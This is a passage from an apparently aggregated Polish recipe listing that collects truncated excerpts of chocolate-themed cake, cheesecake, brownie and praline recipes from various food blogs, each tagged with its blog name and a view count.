tortowej) szklanka cukru pudru pół łyżeczki proszku do pieczenia Krem szampański: szklanka szampana 3 jajka 250 ml śmietanki 30% 5 łyżek cukru pudru 5 łyżeczek żelatyny cukier waniliowy + tabliczka czekolady      Białka ubijamy na sztywną pianę, a następnie porcjami dodajemy cukier puder, cały czas miksując na wolnych obrotach. Dorzucamy jajka i podobnie postępujemy z mąką wymieszaną z proszkiem(...)szampana. Jako że krem dosyć szybko zastyga, przekładamy go sprawnie na biszkopt przecięty w połowie, zostawiając 1/3 masy na wierzch tortu (można też biszkopt nasączyć szampanem).       Czekoladę rozpuszczamy w kąpieli wodnej, nabieramy po trochu na łyżkę i "rysujemy" nieregularne wzorki na wierzchu tortu. Wstawiamy do lodówki do stężenia.      Macie jakieś postanowienia noworoczne? Ja konsekwentnie

sama złodycz
Ciasto jabłkowo-orzechowe 153

szklanka cukru * 2 szklanki mąki * 100 g mielonych orzechów * 600 g jabłek * 1/2 szklanki oliwy * 1 łyżeczka proszku do pieczenia * 1 łyżeczka sody oczyszczonej polewa czekoladowa * 1 mleczna czekolada * 60 g margaryny * 3 łyżki śmietany kremówki lub mleka zagęszczanego Sposób wykonania Jabłka obrać i pokroić w drobniutką kostkę. Białka ubić na sztywno, dalej ubijając dodawać po trochu cukier(...)oraz jabłka. Dokładnie wymieszaną masę wylać  do formy (24/30 cm), wyłożonej papierem do pieczenia. Piec ok. 40 min w temperaturze 180 stopni. W kąpieli wodnej rozpuścić margarynę i czekoladę, następnie dolać śmietanę lub mleko. Wszystko dokładnie połączyć ciągle podgrzewając. Gorącą polewę wylać na przestudzone ciasto. Udekorować według uznania

Mix smaku
Tort kosz z kwiatami 153

składniki biszkopt * 6 jajek * 150 g cukru * 150 g mielonych migdałów * 75 g mąki krem kokosowo-czekoladowy * 250 ml śmietany 18% * 125 g wiórków kokosowych * 100 g białej czekolady (np.milka) * 1 opakowanie bitej śmietany w proszku masa krówkowa * 1 puszka gotowego gotowanego mleka skondensowanego * 2 łyżeczki kakao * 350 g margaryny Kasi dodatkowo *  biała masa cukrowa *barwniki Sposób wykonania biszkopt(...)stopni przez 30-35 min. Po wyjęciu z piekarnika ciasto zostawić w formie na kilka minut, następnie ostrożnie wyjąć, oderwać papier i zostawić do wystygnięcia. krem kokosowo-czekoladowy Czekoladę rozpuścić w kąpieli wodnej, dolewać śmietanę, mieszać i podgrzewajać, tak aby powstała jednolita masa. Chłodną masę ubijać wsypując powoli bitą śmietanę, a następnie wsypać wiórki kokosowe i wymieszać. masa krówkowa Margarynę

Mix smaku
Rolada orzechowa 130

łyżek mąki pszennej * 250 g masła lub margaryny * 3 łyżki cukru kryształu * 3 łyżki cukru pudru * 1 cukier wanilinowy * 150 g rozdrobnionych orzechów włoskich * 3 banany polewa * 1/2 czekolady deserowej lub mlecznej * 1/2 łyżki oleju Sposób wykonania ciasto Białka oddzielić od żółtek. Do białek dodać 4 łyżki zimnej wody i ubić na prawie sztywno. Do piany dodać cukier, cukier wanilinowy(...)koniec dodać orzechy i wymieszać. Rozwinąć biszkopt i wyłożyć krem (zostawić ok.4 łyżek) i rozsmarować. Na dłuższym brzegu, od którego będzie zwijana rolada ułożyć banany i zwinąć roladę. polewa Czekoladę i olej rozpuścić w kąpieli wodnej i dobrze wymieszać. Wierzchu rolady posmarować resztą kremu, polać polewą i posypać orzechami

Mix smaku
Czekoladowo-orzechowa "baba" 141

rozsmarować, ułożyć drugi płat ciasta, lekko docisnąć, wyłożyć resztę masy, rozsmarować, przykryć ostatnim płatem, docisnąć i odstawić do całkowitego wystygnięcia na ok. 1 godzinę. Wyjąć ciasto z formy, ciemną czekoladę rozpuścić w kąpieli wodnej z łyżką oleju i polać ciasto, następnie również w kąpieli widnej rozpuścić białą czekoladę i zrobić wzorki na ciemnej, dowolnie udekorować

Mix smaku
Mini serniczki cytrynowo czekoladowe 127

kakao Masa serowa: - 400g mascarpone - 200g creme fraiche - 2 jajka - trochę więcej jak ½ szklanki drobnego cukru - 1 budyń waniliowy bez cukru - sok z 1 cytryny - esencja cytrynowa Dodatkowo: - 125g czekolady 81% Papilotki układamy w foremkach. Mielimy herbatniki, dodajemy kakao i migdały, ponownie razem mielimy. Masło rozpuszczamy w mikrofali i gorące wlewamy do zmielonych herbatników. Łączymy składniki widelcem. Gotowe ciasto przekładamy(...)minutach obniżamy temperaturę do 120 ° C. Od tej pory pieczemy ok. 60 min. Upieczone pozostawiamy, przy uchylonych drzwiczkach w piekarniku ok. godziny. Wyjmujemy i studzimy na kratce. Czekoladę rozpuszczamy w kąpieli wodnej i polewamy serniczki, w dowolny sposób. Mini serniczki cytrynowo czekoladowe, to ciasto-deser, którego przygotowanie jest również „wersją mini”. Nie wymaga wielkiego nakładu pracy, a ciasto wyrobimy najprostszym

mojewypiekiinietylko
Domowe praliny z suszonym mango 257

też jest kusząca i również ją polecam :). Najlepsze jest to że zrobienie własnych czekoladek jest bajecznie proste, wystarczy kuwertura, ulubione dodatki i foremka do lodu. Kuwertura różni się od czekolady zawartością masła kakaowego i ma go zdecydowanie więcej przez to naturalnie jest zdrowsza a praliny dzięki temu są odpowiednio twarde i połyskliwe. Do pralinek dodamy suszone mango ze względu(...)aromat który dobrze skomponuje się z mleczną kuwerturą. Można wymyślać różne kombinacje np. biała kuwertura z suszonymi malinami, gorzka ze śliwką czy też mleczna z orzechem pistacjowym w środku. Czekolada jak zawsze poprawi nasz nastrój i uodporni na stres więc jest to idealna jesienna propozycja która mam nadzieje doda wam sił i pobudzi kreatywne myślenie. Zaczynajmy! : Czas przygotowania 20 minut

Kuchnia PROzdrowotna
Ostanie przygotowania - błyszcząca glazura do piernika 133

błyszczącą glazurę znalazłam na stronie Magazyn Kuchenny . Składniki na glazurę: 1 szklanka drobnego cukru do wypieków 1/4 szklanki śmietanki 30% 1/4 szklanki wody 2/3 szklanki kakao 50 g gorzkiej czekolady 1 łyżka żelatyny, namoczonej w 2 łyżkach wody Przepis na piernik staropolski znajdziecie TUTAJ 1. W garnku umieszczamy śmietanę, wodę, kakao i cukier. Podgrzewamy stopniowo, często mieszając, aż do zagotowania(...)zagotowaniu zdejmujemy z ognia, wrzucamy kawałki czekolady i mieszamy, aż do całkowitego rozpuszczenia. Dodajemy żelatynę i ponownie mieszamy do połączenia składników. Przecedzamy przez metalowe sitko i odstawiamy do ostygnięcia. 2. Piernik ustawiamy na kratce, a kratkę na blaszce. 3. Ostudzoną glazurą polewamy piernik (możemy nią również ozdobić pierniczki z marmoladą) pamiętając o bokach, opcjonalnie ozdabiamy masą marcepanową i wstawiamy

My Culinary Art
Czekoladowo-krówkowe babeczki! 142

łyżeczki proszku do pieczenia 1 łyżka kakao szczypta soli 1 łyżka sody 2 jajka 2 łyżki miodu 2 łyżki mleka 1/3 szklanki cukru 1/2 szklanka oleju 1/2 tabliczki czekolady 2 cukierki "Krówki" Przygotowanie: Nastawiamy piekarnik na 170'C. Mieszamy wszystkie suche składniki oprócz cukru. Ja zawsze przesiewam wszystko przez sitko, by uniknąć grudek. Dodajemy pokrojoną czekoladę i krówki i mieszamy

Kitchens Alphabet
Babeczki choinki 194

suchego patyczka. Wyjmij i wystudź przed nałożeniem lukru. Babeczki korzenno-czekoladowe (12 sztuk) : 150 g masła w temperaturze pokojowej 1/2 szklanki cukru 100 g gorzkiej czekolady 2 jajka 4 łyżki kwaśnej śmietany 1 łyżeczka proszku do pieczenia 2 łyżeczki przyprawy korzennej  1,5 szklanki mąki Masło utrzyj z cukrem do białości, wbij kolejno jajka, dalej ubijając. Czekoladę rozpuść

Food Square
Ciasteczka brownie 132

więc jeśli ktoś lubi ciasta czekoladowe i ma domowników, którzy lubią ciasta czekoladowe to raczej powinien zrobić je z podwójnej porcji… Ciasteczka brownie – składniki: 225 g gorzkiej czekolady 150 g masła 130 g cukru 130 g ciemnego cukru np. muscovado 4 jajka /roztrzepane/ 1 łyżeczka wanilii 130 g mąki szczypta soli 1. Połamaną czekoladę i pokrojone masło rozpuścić

UgotujmyTo.pl
Ciasto 3 bit 519

petit beurre (po 250 g) 2 puszki masy krówkowej (po 397 g) 3 budynie waniliowe(każdy na 500 ml mleka) 1 litr mleka 600 ml śmietany kremówki 100 g czekolady gorzkiej 1. Formę 38×25 cm wyłożyć warstwą herbatników. Na herbatniki wyłożyć masę krówkową i przykryć drugą warstwą herbatników. 2. Ugotować budynie zgodnie z instrukcją używając 1litr mleka(...)ostygnięcia i wstawić na noc do lodówki. 3. Następnego dnia ubić śmietanę na sztywno (można pod koniec ubijania dodać 1-2 łyżki cukru pudru) i wyłożyć na herbatniki. Czekoladę zetrzeć na tarce i posypać wierzch ciasta. Smacznego Post Ciasto 3 bit pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Brownie z buraczkami 134

odcisnę… bo na pewno będzie następny raz..:) Zapraszam na pyszne brownie z buraczkami. Brownie z buraczkami Składniki: 1 szklanka tartych buraków (około 2-3 buraków) 200 g gorzkiej czekolady 3 łyżki kakao 150 g masła 1 szklanka cukru 1 i 1/4 szklanki mąki 3 jajka 1. Ugotowane lub upieczone buraki obrać, zetrzeć na tarce na małych oczkach i dobrze(...)odsączyć. 2. W rondelku rozpuścić masło dodając połamaną czekoladę, kakao i cukier. Masę lekko ostudzić a następnie ciągle mieszając trzepaczką dodawać po jednym jajku. Na koniec dodać przesianą mąkę i buraki. Dobrze wymieszać. 3. Wylać do formy 25x30cm wyłożonej papierem do pieczenia i wstawić do nagrzanego piekarnika do 180 stopni na około 30 min. Smacznego Źródło: http://wlodarczyki.net/mopswkuchni/?p=5909 Post

UgotujmyTo.pl
Ptysie z kremem czekoladowo-śliwkowo-rumowym 144

oleju szczypta soli 3 jajka Krem: 200 g suszonych śliwek ok 200 ml wody 1 łyżka przyprawy do piernika 2 łyżki cukru muscovado 200 ml rumu 100 g gorzkiej czekolady 300 ml śmietany 30-36% cukier puder 1. Wodę z olejem zagotowujemy i dodajemy mąkę szybko rozcierając masę, żeby nie było grudek. W czasie rozcierania najlepiej zdjąć rondelek z palnika(...)śliwki się rozgotują. Masa powinna być gęsta i trzeba uważać, żeby się nie przypaliła. Zestawić masę z ognia i zmiksować. Do wystudzonej masy dodać rum i wymieszać. 3. Czekoladę rozpuścić w kąpieli wodnej i połączyć z masą śliwkową. Śmietanę ubić na sztywno i delikatnie połączyć z przestudzoną masą czekoladowo-śliwkową. Napełnić ptysie i posypać cukrem pudrem. 4. Napełniamy ptysie

UgotujmyTo.pl
Ciasto czekoladowe z masą kokosową 702

pszennej 2 żółtka 1 cukier waniliowy 200 g wiórków kokosowych 300 ml śmietany 30-36% słoiczek wiśni w alkoholu (opcjonalnie) Polewa: 200 ml śmietany 30-36% 200 g gorzkiej czekolady 1. Ciasto. Żółtka utrzeć z połową szklanki cukru na puszystą masę. Dodać -ciągle miksując- olej i po trochu mąkę przesianą przez sito z proszkiem i kakao na przemian z mlekiem(...)nasączyć alkoholem z wiśni, wyłożyć pozostałą masę i resztę wiśni. Wstawić na kilka godzin do lodówki. 4. Polewa. Do rondelka wlać śmietanę i doprowadzić do -prawie- wrzenia. Wsypać połamaną czekoladę i mieszać aż się rozpuści. Przestudzić. Wylać na ciasto i posypać resztą wiórków   Smacznego Post Ciasto czekoladowe z masą kokosową pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Szarlotka na kruchym cieście 187

kiedy to zawsze w sobotę piekła tradycyjną , jakże niezwykłą szarlotkę. Nigdzie nie smakowała jak ta od Niej! Dziś mam dla Was swoją wersję … przyrządzoną jak tartę … z czekoladą … i dużą ilością soczystych jabłek. SKŁADNIKI: * mąka pszenna – 3 szkl * masło – 200 g * sól – 1 szczypta * cukier waniliowy – 1 op * jajko – 1 szt * żółtko(...)ciasto. Rozwałkowujemy drugi placek. Przykrywamy jabłka. Wystające brzegi z tortownicy wywijamy na wierzch żeby jabłka były zamknięte. Smarujemy rozbełtanym jajkiem i posypujemy cukrem. Pieczemy w 190C ok.60 min. Dekorujemy czekoladą

Ostra na Słodko
Malinowa tarta z białą czekoladą 336

ekspresowym tempie! Delikatna masa serowa i soczyste owoce zachwycą każdego! SKŁADNIKI: - herbatniki – 1 op. - andrut – 1 szt. - masło – 1 czubata łyżka - mascarpone – 125 g - biała czekolada – 100 g - śmietana 36% – 100ml - cukier puder – 1 łyżka SPOSÓB PRZYRZĄDZENIA: Herbatniki i andruta kruszymy bardzo drobno. Dodajemy łyżkę masła i razem mieszamy. Mała foremkę do tarty(...)tortownicę smarujemy masłem i wyklejamy pokruszonymi ciastkami. Ostawiamy do lodówki. Serek mascarpone miksujemy ze śmietaną. Dodajemy cukier. Mieszamy na mniejszych obrotach z przestudzoną białą czekoladą roztopioną wcześniej w kąpieli wodnej. Wylewamy na przygotowany ciasteczkowy spód. Dekorujemy malinami i wstawiamy do lodówki na ok. 3 godziny

Ostra na Słodko
Kokosowe naleśniki z musem malinowym i czekoladą 261

ciasta zrobiłam pyszne kokosowe naleśniki z musem z tych soczystych malin. Zapakowałam jak sakiewki! A , że słodkości nigdy za wiele , to nie obyło się też bez dodatkowej porcji czekolady! Takie naleśniki posmakują nie tylko dzieciom , ale i dorosłym! Nie tylko posmakują , ale i pięknie będą wyglądać na naszym stole i zachwycą na rodzinnych biesiadach! PS. zamiast malin śmiało możemy dodać(...)maliny ( rozgniatając na mus )i mieszamy z cukrem pudrem. Na sam środek naleśników nakładamy czubatą ( albo i 2! ) łyżki musu i związujemy ( u mnie sznurkiem ) w sakiewki. Polewamy roztopioną czekoladą . Dekorujemy wiórkami. * jeśli chcemy uzyskać bardziej chrupiącą skórkę naleśników , możemy włożyć je na kilka minut do gorącego piekarnika

Ostra na Słodko
Kakaowe muffinki z kremem kokosowym i czekoladą 143

łyżeczka - mąka pszenna – 1 łyżeczka – cukier waniliowy – 1 łyżeczka - cukier – 2 łyżki - masło – ok. 30 g - wiórki kokosowe – 1 łyżka DODATKOWO: - czekolada SPOSÓB PRZYRZĄDZENIA: MUFFINKI: Jajka miksujemy z cukrem. Dodajemy powoli wodę, olej i mąkę przesianą z proszkiem do pieczenia i przyprawą do piernika. Dodajemy kakao i dokładnie mieszamy. Do foremek ( ja jak zwykle(...)łyżce budyniu kokosowego. Gdy powstanie jednolita masa dodajemy podprażone wiórki kokosowe. Mieszamy i odstawiamy na ok. 20 minut do lodówki. Powstałym kremem dekorujemy ( ze szprycy ) kakaową muffinkę. Posypujemy startą czekoladą. Smacznego

Ostra na Słodko
Ciasto brzoskwiniowe z pianką 297

jedno z ulubionych brzoskwiniowych ciast mamci ( nie licząc oczywiście wszystkich serników , które zajada z trzęsącymi się uszami :D ) Soczyste brzoskwinie zatopione pod delikatną pianką z dodatkiem biszkopta i chrupiącej czekolady sprawią , że na jednym kawałku napewno się nie skończy! Chcesz się założyc? Spróbuj! Składniki: BISZKOPT: -jajka-3szt -mąka pszenna-2łyżki -mąka ziemniaczana-1łyżka -cukier-3łyżki -proszek do pieczenia-1łyżeczka MASA(...)galaretce zastygnie ). PIANKA: Śmietanę ubijamy z cukrem pudrem. Żelatynę rozpuszczamy w niewielkiej ilości ciepłej wody,studzimy, łączymy z bitą śmietaną i wykładamy na masę brzoskwiniową. Całośc posypujemy startą mleczną czekoladą. Przepis pochodzi z bloga : http://martexsweetdreams.blox.pl/2012/10/Brzoskwiniowiec.html

Ostra na Słodko
Czekoladowa karpatka z truskawkami 444

SKŁADNIKI: CIASTO : - mąka pszenna – 90 g - masło – 80 g - cukier – 150 g - kakao – 40 g - jajka – 2 szt - proszek do pieczenia – 2 łyżeczki - czekolada mleczna – 50 g KREM : - mleko – 0,5 l - masło – 100 g - budyń śmietankowy – 1 op - cukier – 4 łyżki - mąka pszenna – 2 łyżki - mąka ziemniaczana(...)garnka wkładamy masło , cukier i kakao. Podgrzewamy do momentu rozpuszczenia na wolnym ogniu. Dodajemy mąkę przesianą z proszkiem do pieczenia i delikatnie mieszamy łyżką. Dodajemy roztrzepane jajka i posiekaną czekoladę , mieszamy. Wylewamy na tortownicę ( mała – 18 cm! ) wyłożoną papierem do pieczenia. Pieczemy 35min/190C. Studzimy! Wystudzony kroimy na 2 blaty. CAŁOŚĆ: Dolny blat smarujemy obficie i delikatnie kremem budyniowy. Przykrywamy

Ostra na Słodko
Czekoladowe kratery z kremem budyniowym i galaretką 396

przepisie ślad zaginął! ;) Ale jest! Gotowy! I teraz Wy będziecie mogli cieszyć się smakiem tego pysznego ciacha ! Delikatny biszkopt w połączeniu z lekkim kremem budyniowym , galaretką i czekoladą zachwyci podniebienia nawet najbardziej wybrednych smakoszy! Całość tworzy lekką , ale nie przesłodzoną całość i śmiało można sięgnąć po dokładkę! Miękki biszkopt nasiąknięty od kremu budyniowego wręcz rozpływa się w ustach! SKŁADNIKI: BISZKOPT(...)włożone do blachy ( układając „na odwrót ” tak , by masa budyniowa znalazła się od spodu ). Lekko dociskamy. Na górze układamy wycięte biszkoptowe okręgi , a następnie obficie polewamy rozpuszczonymi czekoladami tworząc ozdobne wzory. Odstawiamy do lodówki na minimum 4 godziny. Smacznego

Ostra na Słodko
KRUCHE ROGALIKI Z CZEKOLADĄ 154

cukier puder – 50 gr * duże żółtko – 1 szt * śmietana kwaśna 18% – 2 łyżki * olejek waniliowy – 1 łyżeczka DODATKOWO : * gęsty krem czekoladowy ( lub połamana czekolada ) SPOSÓB PRZYRZĄDZENIA : Masło rozcieramy z cukrem pudrem , dodając żółtko , śmietanę i olejek. mieszamy z przesianymi mąkami i szybko zagniatamy gładkie ciasto. Zawijamy w folię spożywczą i odstawiamy na ok. 20 minut(...)lodówki. Po tych czasie rozwałkowujemy na podsypanej mąką stolnicy. Wycinamy trójkąty. Na szerokim końcu każdego układamy łyżeczkę kremu czekoladowego ( lub kostkę czekolady ) i zwijamy delikatni w kierunku wąskiego końca. Sklejamy i zaokrąglamy rogale. Układamy na blasze wyłożonej papierem do pieczenia i wkładamy do nagrzanego na 180C piekarnika na ok. 15-18 minut. Posypujemy obficie cukrem pudrem! Gotowe

Ostra na Słodko
MIĘTUSEK – CIASTO CZEKOLADOWE Z MIĘTOWO-BUDYNIOWYM KREMEM I LANDRYNKAMI 565

masło – 150 g – cukier – 2 łyżki WARSTWA ŚMIETANOWA : – galaretka agrestowa – 1 op – śmietana 36% – 200 g DODATKOWO: * herbatniki – ok. 20 szt * czekolada – 20 g SPOSÓB PRZYRZĄDZENIA: CIASTO: Oddzielamy białka od żółtek. Białka ubijamy ze szczyptą soli na sztywną pianę, pod koniec dodając cukier. Dodajemy żółtka i mąkę przesianą z proszkiem(...)ŚMIETANKOWA: Galaretkę agrestową rozpuszczamy w około 3/4 szklanki wrzątku. Dokładnie rozrabiamy. Śmietanę ubijamy na sztywno. Łączymy z ostudzoną i tężejącą lekko galaretką. Masą pokrywamy herbatniki. Posypujemy gęsto startą drobno czekoladą i zdobimy listkami mięty! Zostawiamy w lodówce do przegryzienia

Ostra na Słodko
TORT SZWARCWADZKI / CZARNY LAS ( BEZ ALKOHOLU ) 528

puder – 2 łyżki * cukier waniliowy – 1 op * żelatyna – 3 łyżeczki DODATKOWO : * wiśnie w kompocie ( np. Harvin z Lidla ) – 1 słoik * dżem wiśniowy – 5 łyżek * czekolada mleczna – 200 g SPOSÓB PRZYRZĄDZENIA : BISZKOPT : B iałka oddzielamy od żółtek. Ubijamy na sztywno ze szczyptą soli , pod koniec dodając po łyżce cukru. Cały czas miksując dodajemy(...)śmietany. Układamy drugą cześć wiśni. Przykrywamy ostatnim biszkoptem , lekko dociskamy i cały smarujemy śmietana ( boki + góra ). Wygładzamy lekko zwilżonym w gorącej wodzie nożem. Boki obficie obsypujemy startą na tarce czekoladą. Górę dekorujemy wg.własnego pomysłu resztą śmietany oraz wiśniami. Odstawiamy do lodówki na kilka godzin. Smacznego

Ostra na Słodko
Rolada biszkoptowa z masą kakaową 383

cukier – 8 łyżek * cukier waniliowy – 1 op * mąka pszenna – 6 łyżek * proszek do pieczenia – 1 łyżeczka MASA : * masło – 200 g * kakao – 2 łyżki * czekolada – 60 g * olejek rumowy – 0,5 łyżeczki * powidła śliwkowe – 1 łyżka DODATKOWO : * polewa czekoladowa SPOSÓB PRZYRZĄDZENIA : CIASTO : Jajka wbijamy do miski , dodajemy cukier i cukier waniliowy(...)170C przez ok. 20-25 minut. Po upieczeniu ( ciepłe ) kładziemy na ściereczce i zwijamy roladę. MASA : Miękkie masło rozcieramy w misce , dodając resztę masy jajecznej i aromat rumowy. Czekoladę roztapiamy w kąpieli wodnej , dodajemy kakao i dokładnie mieszamy. Mieszamy z masą maślano – jajeczną. ( można dodać odrobinę spirytusu do smaku! ) CAŁOŚĆ: Ze ściereczki rozwijamy biszkopt, skrapiamy wodą, smarujemy masą kakaową

Ostra na Słodko
SERNIK WIEDEŃSKI 445

pojawiają się dość często , a mimo to nie było jeszcze na nim zwykłego , klasycznego wiedeńskiego. Puszysty , a zarazem kremowy ser … mięciutki , wręcz rozpływający się w ustach. Oblany białą czekoladą …. Każdy z przyjemnością skusi się na dodatkowy kawałek – gwarantuję! A sernik wiedeński jest wspaniałym pomysłem na nadchodzące Święta! SKŁADNIKI: * ser biały 3krotnie zmielony – 1 kg * masło(...)Pieczemy 60 min . w nagrzanym do 200C piekarniku. W trakcie pieczenia nie otwieramy piekarnika ( ale jeśli widzimy , że temperatura jest za wysoka zmniejszamy ją ). Studzimy w uchylonym. Polewamy roztopioną czekoladą lub posypujemy cukrem pudrem. Smacznego

Ostra na Słodko
BABKA KARMELOWA Z CZEKOLADĄ I ORZECHAMI 241

budyń waniliowy – 80 g * jajko – 5 szt * masło – 100 g * cukier – 2 łyżki * laska wanilii – 1 szt * proszek do pieczenia – 2 łyżeczki * czekolada na polewę – 100 g * orzechy ziemne – 50 g SPOSÓB PRZYRZĄDZENIA : Masło roztapiamy , studzimy. Masę toffi podgrzewamy , a następnie wylewamy do miski. Dodajemy roztopione masło i dokładnie razem miksujemy. Oddzielamy(...)biszkoptu. Foremkę natłuszczamy , wykładamy papierem do pieczenia lub delikatnie obsypujemy bułką tartą. Wlewamy ciasto i pieczemy ok. 45-55 min / 180C. Po tym czasie studzimy , a następnie oblewamy roztopioną czekoladą i posypujemy podprażonymi na suchej patelni orzechami. Smacznego! UWAGA! Takie ciasta lubią pękać , w związku z czym chwilkę po tym jak włożymy je do piekarnika możemy sami zrobić bardzo delikatne

Ostra na Słodko
Knoppers domowy – wafelki z masą mleczno – nugatową 1312

NUGATOWA: * nutella / krem orzechowy – 180 g *prawdziwe , dobrej jakości masło – 100 g * kakao – 1 łyżka * orzechy laskowe – 150 g DODATKOWO: * wafle / andruty – 4 szt * czekolada + orzechy do dekoracji SPOSÓB PRZYRZĄDZENIA: MASA MLECZNA : Mleko gotujemy z cukrem , studzimy. Masło ucieramy na gładką , białą masę , a następnie powoli wlewamy mleko z cukrem i dodajemy po łyżce mleka(...)krem orzechowy , kakao i orzechy – dokładnie mieszamy. CAŁOŚĆ : Pierwszy wafel smarujemy połową masy nugatowej , przykrywamy. Smarujemy całą masą mleczną , przykrywamy. Smarujemy resztą masy nugatowej , przykrywamy , dociskamy. Polewamy roztopioną czekoladą i posypujemy prażonymi orzeszkami. Smacznego

Ostra na Słodko
Brownie – najlepsze! 165

zawsze przepyszne! Z kruchą górą … miękkie , zakalcowate , lekko gumowe w środku … o wyrazistym intensywnie czekoladowym smaku! Ajjj … trzeba spróbować! Koniecznie! SKŁADNIKI: * masło – 150 g * czekolada mleczna – 2 tabliczki * jajko – 3 szt * cukier puder – 1 szkl * mąka tortowa – 0,5 szkk * kakao – 2 płaskie łyżki SPOSÓB PRZYRZĄDZENIA: Czekoladę łamiemy , przekładamy do metalowej

Ostra na Słodko
Ciasto czekoladowe z gruszkami 143

cukier drobny – 10 łyżek * mąka pszenna – 10 łyżek * jajko – 3 szt * proszek do pieczenia -1 łyżeczka * gruszki – 3 duże szt * kakao – 2 łyżki * czekolada mleczna – 100 g * śmietana 36% – 1 szkl * żelatyna – 1 łyżka * polewa czekoladowa SPOSÓB PRZYRZĄDZENIA: Miękkie masło ucieramy z cukrem na krem, a następnie nie przerywając miksowania dodajemy(...)jajku. Wsypujemy mąkę przesianą z proszkiem do pieczenia i dokładnie mieszamy. Ciasto dzielimy na 2 części. Do jednej dodajemy kakao i posiekaną czekoladę – mieszamy. Gruszki obieramy , kroimy w kostkę. Tortownicę wykładamy papierem do pieczenia, zalewamy jasnym ciastem, wygładzamy. Na wierzch wyciągamy ciasto czekoladowe i układamy pokrojone gruszki. Wkładamy do nagrzanego na 180C piekarnika na ok. 45 minut. Wyjmujemy , dobrze

Ostra na Słodko
SERNIK KOKOSOWO – CZEKOLADOWY 294

zachwycają nie tylko oczy , ale i podniebienie. Idealny pomysł nie tylko na Święta! Spróbujcie! SKŁADNIKI: ( tortownica 20 cm ) CIASTO CZEKOLADOWE: * jajko – 2 szt * cukier – 100 g * gorzka czekolada – 50 g * mąka pszenna – 60 g * mąka ziemniaczana – 40 g * kakao – 2 łyżki * proszek do pieczenia – 1 łyżeczka * sól – 1 szczypta MASA SEROWO(...)rękami formujemy kulki i układamy je na dnie tortownicy wyłożonej papierem do pieczenia. Wstawiamy do lodówki. CIASTO CZEKOLADOWE: Białka oddzielamy od żółtek, żółtka ubijamy z połową cukru do białości. Czekoladę rozpuszczamy w kąpieli wodnej , studzimy i mieszamy z ubitymi żółtkami. Mąkę przesiewamy z proszkiem do pieczenia i kakao. Białka ubijamy ze szczyptą soli, dodając pod koniec cukier. Pianę dodajemy łyżka

Ostra na Słodko
Ciasto Piernikowe z Kaszą Manną i Powidłami Śliwkowymi 497

szklanki mleka 4 łyżki kaszki manny (ok. 100 g) 2/3 szklanki cukru (ok. 240 g) 100 g masła cukier waniliowy ok. 250 g powideł śliwkowych Polewa: 100 g czekolady gorzkiej 100 ml śmietany kremówki 30% łyżka rumu (lub wódki) ok. 100 g orzechów włoskich Ciasto Piernikowe z Kaszą Manną i Powidłami Śliwkowymi - Sposób przygotowania: Spody Piernikowe: Masło razem z miodem(...)warstwą konfitur śliwkowych. Następnie wykładamy 1/3 masy, powtarzamy czynność dwukrotnie do wyczerpania składników. Całość przykrywamy górną częścią ciasta. Polewa czekoladowa: Śmietankę podgrzewamy (nie doprowadzamy do wrzenia) i wrzucamy połamaną czekoladę oraz alkohol. Zdejmujemy z ognia i energicznie mieszamy do otrzymania gładkiej konsystencji. Powstałą kuwerturą polewamy wierzch ciasta piernikowego. Następnie od razu posypujemy drobno posiekanymi orzechami.  Ciasto powinno spędzić

Słodka Strona
Snickers - ciasto (prawie) bez pieczenia :) 1876

Pieczemy przez około 7 minut w piekarniku nagrzanym do 170 stopni. Studzimy. Krem I: 250 g sera mascarpone 1 puszka gotowej masy krówkowej (400 g) tabliczka białej czekolady, roztopionej w kąpieli wodnej 3 batony snickers Krem II: 300 g śmietany kremówki 36% 1 płaska łyżka cukru pudru Przygotowanie: Ser mascarpone miksujemy z połową masy krówkowej. Dodajemy roztopioną białą czekoladę

Z butelką mleczka w tle
Nigella i jej babka jogurtowa z najnowszej książki Nigellissima 419

regularnej aktywności, choć pewnie z bardziej dietetycznymi potrawami..... Tymczasem na zakończenie etapu ciążowego kolejna porcja kalorii :) Pyszna babka jogurtowa z nutką cytryny, ponieważ miałam potrzebę smaku czekoladowego całość polałam czekoladą, Wy możecie ograniczyć się do cukru pudru lub lukru :) Babeczka bardzo przyjemna w smaku, taka prosta, ale czasem te najprostsze rzeczy są najlepsze. Szybko się ją robi, jeszcze szybciej zjada(...)mlekiem.. 150g jogurtu naturalnego 150g oleju 3 jajka 200g cukru 2 łyżeczki cukru waniliowego skórka starta z 1/2 cytryny 175g mąki pszennej 100g mąki ziemniaczanej Do polania/posypania: czekolada lub cukier puder lub dowolny lukier. Oddzielamy białka od żółtek. Białka ubijamy na sztywną pianę. Żółtka osobno ucieramy z cukrem i jogurtem na puszystą masę. Ucierając wlewamy olej, dodajemy cukier waniliowy

Z butelką mleczka w tle
Tort Piernikowy 320

łyżki przyprawy do piernika Masa: 2 szklanki mleka 4 łyżki kaszki manny 2/3 szklanki cukru 100 g masła cukier waniliowy ok. 200 g powideł śliwkowych Polewa: 100 g czekolady gorzkiej 100 ml śmietany kremówki 30% łyżka rumu (lub wódki) ok. 75 g orzechów włoskich Tort Piernikowy - Sposób przygotowania: Spody Piernikowe: Masło razem z miodem i cukrem podgrzewamy w rondelku(...)połowę masy, wykładamy kolejny krążek ciasta i znów smarujemy konfitura, a następnie masą. Całość przykrywamy górną częścią tortu. Polewa czekoladowa: Śmietankę podgrzewamy (nie doprowadzamy do wrzenia) i wrzucamy połamaną czekoladę oraz alkohol. Zdejmujemy z ognia i energicznie mieszamy do otrzymania gładkiej konsystencji. Powstałą kuwerturą polewamy wierzch tortu piernikowego. Następnie od razu posypujemy drobno posiekanymi orzechami.  Tort powinien spędzić minimum

Słodka Strona
Ciasto "Kopiec Kreta" 351

pieczenia cukier waniliowy 150 g masła 3 łyżki mleka 2 czubate łyżki kakao Masa: 600 g śmietanki 36% 2 fixy do ubijania śmietany 4 łyżki cukru pudru 50 g czekolady gorzkiej 3 banany sok z cytryny Ciasto "Kopiec Kreta" - Sposób przygotowania: Tortownice (24 cm) wykładamy pergaminem. Mąki przesiewamy. Oddzielamy białka od żółtek.  Na wysokich obrotach miksera ubijamy białka(...)piekarnika nagrzanego do temperatury 175 stopni. Pieczemy ok. 20 minut do "suchego patyczka". Śmietankę ubijamy. Cukier puder mieszamy wraz z fixem, a następnie dodajemy do śmietany - łączymy składniki. Czekoladę ścieramy na tarce o grubych oczkach i dodajemy do przygotowanej masy - dokładnie mieszamy. Ciasto obkrawamy naokoło, tak aby następnie za pomocą łyżki można było wydrążyć środek w kształcie

Słodka Strona
